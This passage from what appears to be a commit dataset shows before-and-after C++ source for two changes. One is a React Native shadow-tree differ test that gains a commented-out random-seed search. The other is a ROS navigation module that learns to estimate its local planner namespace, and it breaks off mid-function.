std::static_pointer_cast<RootShadowNode const>(\n rootComponentDescriptor.createShadowNode(\n ShadowNodeFragment{RootShadowNode::defaultSharedProps()},\n family)));\n\n \/\/ Applying size constraints.\n emptyRootNode = emptyRootNode->clone(\n LayoutConstraints{\n Size{512, 0}, Size{512, std::numeric_limits<Float>::infinity()}},\n LayoutContext{});\n\n \/\/ Generation of a random tree.\n auto singleRootChildNode =\n generateShadowNodeTree(entropy, viewComponentDescriptor, treeSize);\n\n \/\/ Injecting a tree into the root node.\n auto currentRootNode = std::static_pointer_cast<RootShadowNode const>(\n emptyRootNode->ShadowNode::clone(ShadowNodeFragment{\n ShadowNodeFragment::propsPlaceholder(),\n std::make_shared<SharedShadowNodeList>(\n SharedShadowNodeList{singleRootChildNode})}));\n\n \/\/ Building an initial view hierarchy.\n auto viewTree = buildStubViewTreeWithoutUsingDifferentiator(*emptyRootNode);\n viewTree.mutate(\n calculateShadowViewMutations(*emptyRootNode, *currentRootNode, true));\n\n for (int j = 0; j < stages; j++) {\n auto nextRootNode = currentRootNode;\n\n \/\/ Mutating the tree.\n alterShadowTree(\n entropy,\n nextRootNode,\n {\n &messWithYogaStyles,\n &messWithLayoutableOnlyFlag,\n });\n alterShadowTree(entropy, nextRootNode, &messWithNodeFlattenednessFlags);\n alterShadowTree(entropy, nextRootNode, &messWithChildren);\n\n std::vector<LayoutableShadowNode const *> affectedLayoutableNodes{};\n affectedLayoutableNodes.reserve(1024);\n\n \/\/ Laying out the tree.\n std::const_pointer_cast<RootShadowNode>(nextRootNode)\n ->layoutIfNeeded(&affectedLayoutableNodes);\n\n nextRootNode->sealRecursive();\n allNodes.push_back(nextRootNode);\n\n \/\/ Calculating mutations.\n auto mutations =\n calculateShadowViewMutations(*currentRootNode, *nextRootNode, true);\n\n \/\/ Make sure that in a single frame, a DELETE for a\n \/\/ view is not followed by a CREATE for the same view.\n {\n std::vector<int> deletedTags{};\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Delete) {\n deletedTags.push_back(mutation.oldChildShadowView.tag);\n }\n }\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Create) {\n if (std::find(\n deletedTags.begin(),\n deletedTags.end(),\n mutation.newChildShadowView.tag) != deletedTags.end()) {\n LOG(ERROR) << \"Deleted tag was recreated in mutations list: [\"\n << mutation.newChildShadowView.tag << \"]\";\n react_native_assert(false);\n }\n }\n }\n }\n\n \/\/ Mutating the view tree.\n viewTree.mutate(mutations);\n\n \/\/ Building a view tree to compare with.\n auto rebuiltViewTree =\n buildStubViewTreeWithoutUsingDifferentiator(*nextRootNode);\n\n \/\/ Comparing the newly built tree with the updated one.\n if (rebuiltViewTree != viewTree) {\n \/\/ Something went wrong.\n\n LOG(ERROR) << \"Entropy seed: \" << entropy.getSeed() << \"\\n\";\n\n \/\/ There are some issues getting `getDebugDescription` to compile\n \/\/ under test on Android for now.\n#ifdef RN_DEBUG_STRING_CONVERTIBLE\n LOG(ERROR) << \"Shadow Tree before: \\n\"\n << currentRootNode->getDebugDescription();\n LOG(ERROR) << \"Shadow Tree after: \\n\"\n << nextRootNode->getDebugDescription();\n\n LOG(ERROR) << \"View Tree before: \\n\"\n << getDebugDescription(viewTree.getRootStubView(), {});\n LOG(ERROR) << \"View Tree after: \\n\"\n << getDebugDescription(\n rebuiltViewTree.getRootStubView(), {});\n\n LOG(ERROR) << \"Mutations:\"\n << \"\\n\"\n << getDebugDescription(mutations, {});\n#endif\n\n react_native_assert(false);\n }\n\n currentRootNode = nextRootNode;\n }\n }\n\n SUCCEED();\n}\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n\nusing namespace facebook::react;\n\nTEST(\n ShadowTreeLifecyleTest,\n stableBiggerTreeFewerIterationsOptimizedMovesFlattener) {\n testShadowNodeTreeLifeCycle(\n \/* seed *\/ 0,\n \/* size *\/ 512,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n stableBiggerTreeFewerIterationsOptimizedMovesFlattener2) {\n testShadowNodeTreeLifeCycle(\n \/* seed *\/ 1,\n \/* size *\/ 512,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n stableSmallerTreeMoreIterationsOptimizedMovesFlattener) {\n testShadowNodeTreeLifeCycle(\n \/* seed *\/ 0,\n \/* size *\/ 16,\n \/* repeats *\/ 512,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n unstableSmallerTreeFewerIterationsExtensiveFlatteningUnflattening) {\n testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n \/* seed *\/ 1337,\n \/* size *\/ 32,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n unstableBiggerTreeFewerIterationsExtensiveFlatteningUnflattening) {\n testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n \/* seed *\/ 1337,\n \/* size *\/ 256,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n unstableSmallerTreeMoreIterationsExtensiveFlatteningUnflattening) {\n testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n \/* seed *\/ 1337,\n \/* size *\/ 32,\n \/* repeats *\/ 512,\n \/* stages *\/ 32);\n}\n<commit_msg>Testing mechanism to find new failing Differ test-cases<commit_after>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <vector>\n\n#include <glog\/logging.h>\n#include <gtest\/gtest.h>\n\n#include <react\/renderer\/components\/root\/RootComponentDescriptor.h>\n#include <react\/renderer\/components\/view\/ViewComponentDescriptor.h>\n#include <react\/renderer\/mounting\/Differentiator.h>\n#include <react\/renderer\/mounting\/ShadowViewMutation.h>\n#include <react\/renderer\/mounting\/stubs.h>\n\n\/\/ Uncomment when random test blocks are uncommented below.\n\/\/ #include <algorithm>\n\/\/ #include <random>\n\n#include \"Entropy.h\"\n#include \"shadowTreeGeneration.h\"\n\nnamespace facebook {\nnamespace react {\n\nstatic void testShadowNodeTreeLifeCycle(\n uint_fast32_t seed,\n int treeSize,\n int repeats,\n int stages) {\n auto entropy = seed == 0 ? Entropy() : Entropy(seed);\n\n auto eventDispatcher = EventDispatcher::Shared{};\n auto contextContainer = std::make_shared<ContextContainer>();\n auto componentDescriptorParameters =\n ComponentDescriptorParameters{eventDispatcher, contextContainer, nullptr};\n auto viewComponentDescriptor =\n ViewComponentDescriptor(componentDescriptorParameters);\n auto rootComponentDescriptor =\n RootComponentDescriptor(componentDescriptorParameters);\n auto noopEventEmitter =\n std::make_shared<ViewEventEmitter const>(nullptr, -1, eventDispatcher);\n\n auto allNodes = std::vector<ShadowNode::Shared>{};\n\n for (int i = 0; i < repeats; i++) {\n allNodes.clear();\n\n auto family = rootComponentDescriptor.createFamily(\n {Tag(1), SurfaceId(1), nullptr}, nullptr);\n\n \/\/ Creating an initial root shadow node.\n auto emptyRootNode = std::const_pointer_cast<RootShadowNode>(\n std::static_pointer_cast<RootShadowNode const>(\n rootComponentDescriptor.createShadowNode(\n ShadowNodeFragment{RootShadowNode::defaultSharedProps()},\n family)));\n\n \/\/ Applying size constraints.\n emptyRootNode = emptyRootNode->clone(\n LayoutConstraints{\n Size{512, 0}, Size{512, std::numeric_limits<Float>::infinity()}},\n LayoutContext{});\n\n \/\/ Generation of a random tree.\n auto singleRootChildNode =\n generateShadowNodeTree(entropy, viewComponentDescriptor, treeSize);\n\n \/\/ Injecting a tree into the root node.\n auto currentRootNode = std::static_pointer_cast<RootShadowNode const>(\n emptyRootNode->ShadowNode::clone(ShadowNodeFragment{\n ShadowNodeFragment::propsPlaceholder(),\n std::make_shared<SharedShadowNodeList>(\n SharedShadowNodeList{singleRootChildNode})}));\n\n \/\/ Building an initial view hierarchy.\n auto viewTree = buildStubViewTreeWithoutUsingDifferentiator(*emptyRootNode);\n viewTree.mutate(\n calculateShadowViewMutations(*emptyRootNode, *currentRootNode, true));\n\n for (int j = 0; j < stages; j++) {\n auto nextRootNode = currentRootNode;\n\n \/\/ Mutating the tree.\n alterShadowTree(\n entropy,\n nextRootNode,\n {\n &messWithChildren,\n &messWithYogaStyles,\n &messWithLayoutableOnlyFlag,\n });\n\n std::vector<LayoutableShadowNode const *> affectedLayoutableNodes{};\n affectedLayoutableNodes.reserve(1024);\n\n \/\/ Laying out the tree.\n std::const_pointer_cast<RootShadowNode>(nextRootNode)\n ->layoutIfNeeded(&affectedLayoutableNodes);\n\n nextRootNode->sealRecursive();\n allNodes.push_back(nextRootNode);\n\n \/\/ Calculating mutations.\n auto mutations =\n calculateShadowViewMutations(*currentRootNode, *nextRootNode, true);\n\n \/\/ Make sure that in a single frame, a DELETE for a\n \/\/ view is not followed by a CREATE for the same view.\n {\n std::vector<int> deletedTags{};\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Delete) {\n deletedTags.push_back(mutation.oldChildShadowView.tag);\n }\n }\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Create) {\n if (std::find(\n deletedTags.begin(),\n deletedTags.end(),\n mutation.newChildShadowView.tag) != deletedTags.end()) {\n LOG(ERROR) << \"Deleted tag was recreated in mutations list: [\"\n << mutation.newChildShadowView.tag << \"]\";\n react_native_assert(false);\n }\n }\n }\n }\n\n \/\/ Mutating the view tree.\n viewTree.mutate(mutations);\n\n \/\/ Building a view tree to compare with.\n auto rebuiltViewTree =\n buildStubViewTreeWithoutUsingDifferentiator(*nextRootNode);\n\n \/\/ Comparing the newly built tree with the updated one.\n if (rebuiltViewTree != viewTree) {\n \/\/ Something went wrong.\n\n LOG(ERROR) << \"Entropy seed: \" << entropy.getSeed() << \"\\n\";\n\n \/\/ There are some issues getting `getDebugDescription` to compile\n \/\/ under test on Android for now.\n#ifdef RN_DEBUG_STRING_CONVERTIBLE\n LOG(ERROR) << \"Shadow Tree before: \\n\"\n << currentRootNode->getDebugDescription();\n LOG(ERROR) << \"Shadow Tree after: \\n\"\n << nextRootNode->getDebugDescription();\n\n LOG(ERROR) << \"View Tree before: \\n\"\n << getDebugDescription(viewTree.getRootStubView(), {});\n LOG(ERROR) << \"View Tree after: \\n\"\n << getDebugDescription(\n rebuiltViewTree.getRootStubView(), {});\n\n LOG(ERROR) << \"Mutations:\"\n << \"\\n\"\n << getDebugDescription(mutations, {});\n#endif\n\n react_native_assert(false);\n }\n\n currentRootNode = nextRootNode;\n }\n }\n\n SUCCEED();\n}\n\nstatic void testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n uint_fast32_t seed,\n int treeSize,\n int repeats,\n int stages) {\n auto entropy = seed == 0 ? Entropy() : Entropy(seed);\n\n auto eventDispatcher = EventDispatcher::Shared{};\n auto contextContainer = std::make_shared<ContextContainer>();\n auto componentDescriptorParameters =\n ComponentDescriptorParameters{eventDispatcher, contextContainer, nullptr};\n auto viewComponentDescriptor =\n ViewComponentDescriptor(componentDescriptorParameters);\n auto rootComponentDescriptor =\n RootComponentDescriptor(componentDescriptorParameters);\n auto noopEventEmitter =\n std::make_shared<ViewEventEmitter const>(nullptr, -1, eventDispatcher);\n\n auto allNodes = std::vector<ShadowNode::Shared>{};\n\n for (int i = 0; i < repeats; i++) {\n allNodes.clear();\n\n auto family = rootComponentDescriptor.createFamily(\n {Tag(1), SurfaceId(1), nullptr}, nullptr);\n\n \/\/ Creating an initial root shadow node.\n auto emptyRootNode = std::const_pointer_cast<RootShadowNode>(\n std::static_pointer_cast<RootShadowNode const>(\n rootComponentDescriptor.createShadowNode(\n ShadowNodeFragment{RootShadowNode::defaultSharedProps()},\n family)));\n\n \/\/ Applying size constraints.\n emptyRootNode = emptyRootNode->clone(\n LayoutConstraints{\n Size{512, 0}, Size{512, std::numeric_limits<Float>::infinity()}},\n LayoutContext{});\n\n \/\/ Generation of a random tree.\n auto singleRootChildNode =\n generateShadowNodeTree(entropy, viewComponentDescriptor, treeSize);\n\n \/\/ Injecting a tree into the root node.\n auto currentRootNode = std::static_pointer_cast<RootShadowNode const>(\n emptyRootNode->ShadowNode::clone(ShadowNodeFragment{\n ShadowNodeFragment::propsPlaceholder(),\n std::make_shared<SharedShadowNodeList>(\n SharedShadowNodeList{singleRootChildNode})}));\n\n \/\/ Building an initial view hierarchy.\n auto viewTree = buildStubViewTreeWithoutUsingDifferentiator(*emptyRootNode);\n viewTree.mutate(\n calculateShadowViewMutations(*emptyRootNode, *currentRootNode, true));\n\n for (int j = 0; j < stages; j++) {\n auto nextRootNode = currentRootNode;\n\n \/\/ Mutating the tree.\n alterShadowTree(\n entropy,\n nextRootNode,\n {\n &messWithYogaStyles,\n &messWithLayoutableOnlyFlag,\n });\n alterShadowTree(entropy, nextRootNode, &messWithNodeFlattenednessFlags);\n alterShadowTree(entropy, nextRootNode, &messWithChildren);\n\n std::vector<LayoutableShadowNode const *> affectedLayoutableNodes{};\n affectedLayoutableNodes.reserve(1024);\n\n \/\/ Laying out the tree.\n std::const_pointer_cast<RootShadowNode>(nextRootNode)\n ->layoutIfNeeded(&affectedLayoutableNodes);\n\n nextRootNode->sealRecursive();\n allNodes.push_back(nextRootNode);\n\n \/\/ Calculating mutations.\n auto mutations =\n calculateShadowViewMutations(*currentRootNode, *nextRootNode, true);\n\n \/\/ Make sure that in a single frame, a DELETE for a\n \/\/ view is not followed by a CREATE for the same view.\n {\n std::vector<int> deletedTags{};\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Delete) {\n deletedTags.push_back(mutation.oldChildShadowView.tag);\n }\n }\n for (auto const &mutation : mutations) {\n if (mutation.type == ShadowViewMutation::Type::Create) {\n if (std::find(\n deletedTags.begin(),\n deletedTags.end(),\n mutation.newChildShadowView.tag) != deletedTags.end()) {\n LOG(ERROR) << \"Deleted tag was recreated in mutations list: [\"\n << mutation.newChildShadowView.tag << \"]\";\n react_native_assert(false);\n }\n }\n }\n }\n\n \/\/ Mutating the view tree.\n viewTree.mutate(mutations);\n\n \/\/ Building a view tree to compare with.\n auto rebuiltViewTree =\n buildStubViewTreeWithoutUsingDifferentiator(*nextRootNode);\n\n \/\/ Comparing the newly built tree with the updated one.\n if (rebuiltViewTree != viewTree) {\n \/\/ Something went wrong.\n\n LOG(ERROR) << \"Entropy seed: \" << entropy.getSeed() << \"\\n\";\n\n \/\/ There are some issues getting `getDebugDescription` to compile\n \/\/ under test on Android for now.\n#ifdef RN_DEBUG_STRING_CONVERTIBLE\n LOG(ERROR) << \"Shadow Tree before: \\n\"\n << currentRootNode->getDebugDescription();\n LOG(ERROR) << \"Shadow Tree after: \\n\"\n << nextRootNode->getDebugDescription();\n\n LOG(ERROR) << \"View Tree before: \\n\"\n << getDebugDescription(viewTree.getRootStubView(), {});\n LOG(ERROR) << \"View Tree after: \\n\"\n << getDebugDescription(\n rebuiltViewTree.getRootStubView(), {});\n\n LOG(ERROR) << \"Mutations:\"\n << \"\\n\"\n << getDebugDescription(mutations, {});\n#endif\n\n react_native_assert(false);\n }\n\n currentRootNode = nextRootNode;\n }\n }\n\n SUCCEED();\n}\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n\nusing namespace facebook::react;\n\nTEST(\n ShadowTreeLifecyleTest,\n stableBiggerTreeFewerIterationsOptimizedMovesFlattener) {\n testShadowNodeTreeLifeCycle(\n \/* seed *\/ 0,\n \/* size *\/ 512,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n stableBiggerTreeFewerIterationsOptimizedMovesFlattener2) {\n testShadowNodeTreeLifeCycle(\n \/* seed *\/ 1,\n \/* size *\/ 512,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n stableSmallerTreeMoreIterationsOptimizedMovesFlattener) {\n testShadowNodeTreeLifeCycle(\n \/* seed *\/ 0,\n \/* size *\/ 16,\n \/* repeats *\/ 512,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n unstableSmallerTreeFewerIterationsExtensiveFlatteningUnflattening) {\n testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n \/* seed *\/ 1337,\n \/* size *\/ 32,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n unstableBiggerTreeFewerIterationsExtensiveFlatteningUnflattening) {\n testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n \/* seed *\/ 1337,\n \/* size *\/ 256,\n \/* repeats *\/ 32,\n \/* stages *\/ 32);\n}\n\nTEST(\n ShadowTreeLifecyleTest,\n unstableSmallerTreeMoreIterationsExtensiveFlatteningUnflattening) {\n testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n \/* seed *\/ 1337,\n \/* size *\/ 32,\n \/* repeats *\/ 512,\n \/* stages *\/ 32);\n}\n\n\/\/ You may uncomment this - locally only! - to generate failing seeds.\n\/\/ TEST(\n\/\/ ShadowTreeLifecyleTest,\n\/\/ unstableSmallerTreeMoreIterationsExtensiveFlatteningUnflatteningManyRandom)\n\/\/ {\n\/\/ std::random_device device;\n\/\/ for (int i = 0; i < 10; i++) {\n\/\/ uint_fast32_t seed = device();\n\/\/ LOG(ERROR) << \"Seed: \" << seed;\n\/\/ testShadowNodeTreeLifeCycleExtensiveFlatteningUnflattening(\n\/\/ \/* seed *\/ seed,\n\/\/ \/* size *\/ 32,\n\/\/ \/* repeats *\/ 512,\n\/\/ \/* stages *\/ 32);\n\/\/ }\n\/\/ }\n<|endoftext|>"} {"text":"<commit_before>#include \"navstack_module.h\"\n#include <ros\/ros.h>\n#include <nav_msgs\/GetPlan.h>\n#include <geometry_msgs\/PoseStamped.h>\n#include <map>\nusing std::map;\n#include <utility>\nusing std::pair; using std::make_pair;\n#include <boost\/foreach.hpp>\n#ifdef __CDT_PARSER__\n#define forEach(a, b) for(a : b)\n#else\n#define forEach BOOST_FOREACH\n#endif\n#include <sys\/times.h>\n#include <tf\/tf.h>\n#include <tf\/transform_listener.h>\n\nVERIFY_CONDITIONCHECKER_DEF(pathCost);\n\nros::NodeHandle* g_NodeHandle = NULL;\nros::ServiceClient g_GetPlan;\n\n\/\/\/ Plan requests are issued using this frame - so the poses from the planner are given in this frame (e.g. map)\nstd::string g_WorldFrame;\n\ndouble g_GoalTolerance = 0.5;\n\n\/\/ Using a cache of queried path costs to prevent calling the path planning service multiple times\n\/\/ Better: Can we assume symmetric path costs?\nmap< pair<string,string>, double> g_PathCostCache;\n\nvoid navstack_init(int argc, char** argv)\n{\n ROS_ASSERT(argc == 4);\n\n \/\/ get world frame\n ros::NodeHandle nhPriv(\"~\");\n std::string tfPrefix = tf::getPrefixParam(nhPriv);\n g_WorldFrame = tf::resolve(tfPrefix, argv[1]);\n ROS_INFO(\"World frame is: %s\", g_WorldFrame.c_str());\n\n \/\/ get goal tolerance\n char* checkPtr;\n g_GoalTolerance = strtod(argv[2], &checkPtr);\n if(checkPtr == argv[2]) { \/\/ conversion error!\n ROS_ERROR(\"%s: Could not convert argument for goal tolerance: %s\", __func__, argv[2]);\n g_GoalTolerance = 0.5;\n }\n\n if(strcmp(argv[3], \"0\") == 0) {\n ROS_INFO(\"Using absolute goal tolerance.\");\n } else { \/\/ relative goal tolerance, argv[3] contains the base_local_planner namespace\n ROS_INFO(\"Using relative goal tolerance.\");\n \/\/ get base_local_planner's xy_goal_tolerance\n std::string base_local_planner_ns = argv[3];\n double move_base_tol;\n ros::NodeHandle nh;\n if(!nh.getParam(base_local_planner_ns + \"\/xy_goal_tolerance\", move_base_tol)) {\n ROS_ERROR_STREAM(\"requested relative goal tolerance, but \"\n << (base_local_planner_ns + \"\/xy_goal_tolerance\") << \" was not set\"\n << \" - falling back to absolute mode\");\n } else { \/\/ 2. add move_base's tolerance to our relative tolerance\n g_GoalTolerance += move_base_tol;\n }\n }\n\n ROS_INFO(\"Goal Tolerance is: %f.\", g_GoalTolerance);\n\n \/\/ init service query for make plan\n string service_name = \"move_base\/make_plan\";\n g_NodeHandle = new ros::NodeHandle();\n while(!ros::service::waitForService(service_name, ros::Duration(3.0))) {\n ROS_ERROR(\"Service %s not available - waiting.\", service_name.c_str());\n }\n\n g_GetPlan = g_NodeHandle->serviceClient<nav_msgs::GetPlan>(service_name, true);\n if(!g_GetPlan) {\n ROS_FATAL(\"Could not initialize get plan service from %s (client name: %s)\", service_name.c_str(), g_GetPlan.getService().c_str());\n }\n\n ROS_INFO(\"Initialized Navstack Module.\\n\");\n}\n\nbool fillPathRequest(const ParameterList & parameterList, numericalFluentCallbackType numericalFluentCallback,\n nav_msgs::GetPlan::Request & request)\n{\n \/\/ get robot and target location from planner interface\n ROS_ASSERT(parameterList.size() == 2);\n\n ParameterList startParams;\n startParams.push_back(parameterList[0]);\n ParameterList goalParams;\n goalParams.push_back(parameterList[1]);\n NumericalFluentList nfRequest;\n nfRequest.reserve(14);\n nfRequest.push_back(NumericalFluent(\"x\", startParams));\n nfRequest.push_back(NumericalFluent(\"y\", startParams));\n nfRequest.push_back(NumericalFluent(\"z\", startParams));\n nfRequest.push_back(NumericalFluent(\"qx\", startParams));\n nfRequest.push_back(NumericalFluent(\"qy\", startParams));\n nfRequest.push_back(NumericalFluent(\"qz\", startParams));\n nfRequest.push_back(NumericalFluent(\"qw\", startParams));\n nfRequest.push_back(NumericalFluent(\"x\", goalParams));\n nfRequest.push_back(NumericalFluent(\"y\", goalParams));\n nfRequest.push_back(NumericalFluent(\"z\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qx\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qy\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qz\", goalParams));\n nfRequest.push_back(NumericalFluent(\"qw\", goalParams));\n\n NumericalFluentList* nfRequestP = &nfRequest;\n if(!numericalFluentCallback(nfRequestP)) {\n ROS_ERROR(\"numericalFluentCallback failed.\");\n return false;\n }\n\n \/\/ create the path planning query for service\n request.start.header.frame_id = g_WorldFrame;\n request.goal.header.frame_id = g_WorldFrame;\n request.start.pose.position.x = nfRequest[0].value;\n request.start.pose.position.y = nfRequest[1].value;\n request.start.pose.position.z = nfRequest[2].value;\n request.start.pose.orientation.x = nfRequest[3].value;\n request.start.pose.orientation.y = nfRequest[4].value;\n request.start.pose.orientation.z = nfRequest[5].value;\n request.start.pose.orientation.w = nfRequest[6].value;\n request.goal.pose.position.x = nfRequest[7].value;\n request.goal.pose.position.y = nfRequest[8].value;\n request.goal.pose.position.z = nfRequest[9].value;\n request.goal.pose.orientation.x = nfRequest[10].value;\n request.goal.pose.orientation.y = nfRequest[11].value;\n request.goal.pose.orientation.z = nfRequest[12].value;\n request.goal.pose.orientation.w = nfRequest[13].value;\n request.tolerance = g_GoalTolerance;\n return true;\n}\n\ndouble pathCost(const ParameterList & parameterList,\n predicateCallbackType predicateCallback, numericalFluentCallbackType numericalFluentCallback, int relaxed)\n{\n if(g_Debug) { \/\/ prevent spamming ROS_DEBUG calls unless we really want debug\n \/\/ debugging raw planner calls\n static unsigned int calls = 0;\n calls++;\n if(calls % 10000 == 0) {\n ROS_DEBUG(\"Got %d module calls.\\n\", calls);\n }\n }\n\n \/\/ first lookup in the cache if we answered the query already\n map<pair<string, string>, double>::iterator it = g_PathCostCache.find(make_pair(parameterList[0].value, parameterList[1].value));\n if(it != g_PathCostCache.end()) {\n return it->second;\n }\n\n nav_msgs::GetPlan srv;\n if(!fillPathRequest(parameterList, numericalFluentCallback, srv.request)) {\n return INFINITE_COST;\n }\n\n double cost = INFINITE_COST;\n\n if(!g_GetPlan) {\n ROS_ERROR(\"Persistent service connection to %s failed.\", g_GetPlan.getService().c_str());\n \/\/ FIXME reconnect - this shouldn't happen.\n return INFINITE_COST;\n }\n\n \/\/ statistics about using the ros path planner service\n static double plannerCalls = 0;\n static ros::Duration totalCallsTime = ros::Duration(0.0);\n plannerCalls += 1.0;\n\n ros::Time callStartTime = ros::Time::now();\n \/\/ This construct is here, because when the robot is moving move_base will not produce other paths\n \/\/ we retry for a certain amount of time to not fail directly.\n \/\/ FIXME: Cleanup the goto code\nretryGetPlan:\n static unsigned int failCounter = 0;\n\n \/\/ perform the actual path planner call\n if(g_GetPlan.call(srv)) {\n failCounter = 0;\n\n if(g_Debug) {\n ros::Time callEndTime = ros::Time::now();\n ros::Duration dt = callEndTime - callStartTime;\n totalCallsTime += dt;\n ROS_DEBUG(\"ServiceCall took: %f, avg: %f (num %f).\", dt.toSec(), totalCallsTime.toSec()\/plannerCalls, plannerCalls);\n }\n\n if(!srv.response.plan.poses.empty()) {\n \/\/ get plan cost\n double pathLength = 0;\n geometry_msgs::PoseStamped lastPose = srv.response.plan.poses[0];\n forEach(const geometry_msgs::PoseStamped & p, srv.response.plan.poses) {\n double d = hypot(lastPose.pose.position.x - p.pose.position.x,\n lastPose.pose.position.y - p.pose.position.y);\n pathLength += d;\n lastPose = p;\n }\n cost = pathLength;\n } else {\n ROS_WARN(\"Got empty plan: %s -> %s\", parameterList[0].value.c_str(), parameterList[1].value.c_str());\n }\n\n \/\/ROS_INFO(\"Got plan: %s -> %s cost: %f.\", parameterList[0].value.c_str(), parameterList[1].value.c_str(), cost);\n \/\/ also empty plan = OK or fail or none?\n } else {\n ROS_ERROR(\"Failed to call service %s - is the robot moving?\", g_GetPlan.getService().c_str());\n failCounter++;\n if(failCounter < 300) {\n usleep(1000 * 1000);\n goto retryGetPlan;\n }\n \/\/ FIXME: what if target is unreachable, do we get false or an empty plan? i.e. is this an error\n return INFINITE_COST;\n }\n\n \/\/ return pathcost and cache\n g_PathCostCache[make_pair(parameterList[0].value, parameterList[1].value)] = cost;\n\n return cost;\n}\n\n<commit_msg>navstack_module tries to auto estimate ns<commit_after>#include \"navstack_module.h\"\n#include <ros\/ros.h>\n#include <nav_msgs\/GetPlan.h>\n#include <geometry_msgs\/PoseStamped.h>\n#include <map>\nusing std::map;\n#include <utility>\nusing std::pair; using std::make_pair;\n#include <boost\/foreach.hpp>\n#ifdef __CDT_PARSER__\n#define forEach(a, b) for(a : b)\n#else\n#define forEach BOOST_FOREACH\n#endif\n#include <sys\/times.h>\n#include <tf\/tf.h>\n#include <tf\/transform_listener.h>\n\nVERIFY_CONDITIONCHECKER_DEF(pathCost);\n\nros::NodeHandle* g_NodeHandle = NULL;\nros::ServiceClient g_GetPlan;\n\n\/\/\/ Plan requests are issued using this frame - so the poses from the planner are given in this frame (e.g. map)\nstd::string g_WorldFrame;\n\ndouble g_GoalTolerance = 0.5;\n\n\/\/ Using a cache of queried path costs to prevent calling the path planning service multiple times\n\/\/ Better: Can we assume symmetric path costs?\nmap< pair<string,string>, double> g_PathCostCache;\n\nvoid navstack_init(int argc, char** argv)\n{\n ROS_ASSERT(argc == 4);\n\n \/\/ get world frame\n ros::NodeHandle nhPriv(\"~\");\n std::string tfPrefix = tf::getPrefixParam(nhPriv);\n g_WorldFrame = tf::resolve(tfPrefix, argv[1]);\n ROS_INFO(\"World frame is: %s\", g_WorldFrame.c_str());\n\n \/\/ get goal tolerance\n char* checkPtr;\n g_GoalTolerance = strtod(argv[2], &checkPtr);\n if(checkPtr == argv[2]) { \/\/ conversion error!\n ROS_ERROR(\"%s: Could not convert argument for goal tolerance: %s\", __func__, argv[2]);\n g_GoalTolerance = 0.5;\n }\n\n ros::NodeHandle nh;\n std::string base_local_planner_ns;\n if(strcmp(argv[3], \"0\") == 0) {\n ROS_INFO(\"Using absolute goal tolerance.\");\n } else if(strcmp(argv[3], \"1\") == 0) {\n ROS_INFO(\"Trying to estimate base_local_planner namespace\");\n \n std::string local_planner;\n if(!nh.getParam(\"move_base_node\/base_local_planner\", local_planner)\n && !nh.getParam(\"move_base\/base_local_planner\", local_planner)) {\n ROS_ERROR(\"move_base(_node)\/base_local_planner not set - falling back to absolute mode.\");\n } else {\n \/\/ dwa_local_planner\/DWAPlannerROS -> DWAPlannerROS\n std::string::size_type x = local_planner.find_last_of(\"\/\");\n if(x == std::string::npos)\n base_local_planner_ns = local_planner;\n else\n base_local_planner_ns = local_planner.substr(x + 1);\n ROS_INFO(\"Estimated base_local_planner_ns to %s.\", base_local_planner_ns.c_str());\n }\n } else {\n base_local_planner_ns = argv[3];\n }\n\n if(!base_local_planner_ns.empty()) {\n \/\/ relative goal tolerance, argv[3] contains the base_local_planner namespace\n ROS_INFO(\"Using relative goal tolerance.\");\n \/\/ get base_local_planner's xy_goal_tolerance\n double move_base_tol;\n if(!nh.getParam(base_local_planner_ns + \"\/xy_goal_tolerance\", move_base_tol)) {\n ROS_ERROR_STREAM(\"requested relative goal tolerance, but \"\n << (base_local_planner_ns + \"\/xy_goal_tolerance\") << \" was not set\"\n << \" - falling back to absolute mode\");\n } else { \/\/ 2. add move_base's tolerance to our relative tolerance\n g_GoalTolerance += move_base_tol;\n }\n }\n\n ROS_INFO(\"Goal Tolerance is: %f.\", g_GoalTolerance);\n\n \/\/ init service query for make plan\n string service_name = \"move_base\/make_plan\";\n g_NodeHandle = new ros::NodeHandle();\n while(!ros::service::waitForService(service_name, ros::Duration(3.0))) {\n ROS_ERROR(\"Service %s not available - waiting.\", service_name.c_str());\n }\n\n g_GetPlan = g_NodeHandle->serviceClient<nav_msgs::GetPlan>(service_name, true);\n if(!g_GetPlan) {\n ROS_FATAL(\"Could not initialize get plan service from %s (client name: %s)\", service_name.c_str(), g_GetPlan.getService().c_str());\n }\n\n ROS_INFO(\"Initialized Navstack Module.\\n\");\n}\n\nbool fillPathRequest(const ParameterList 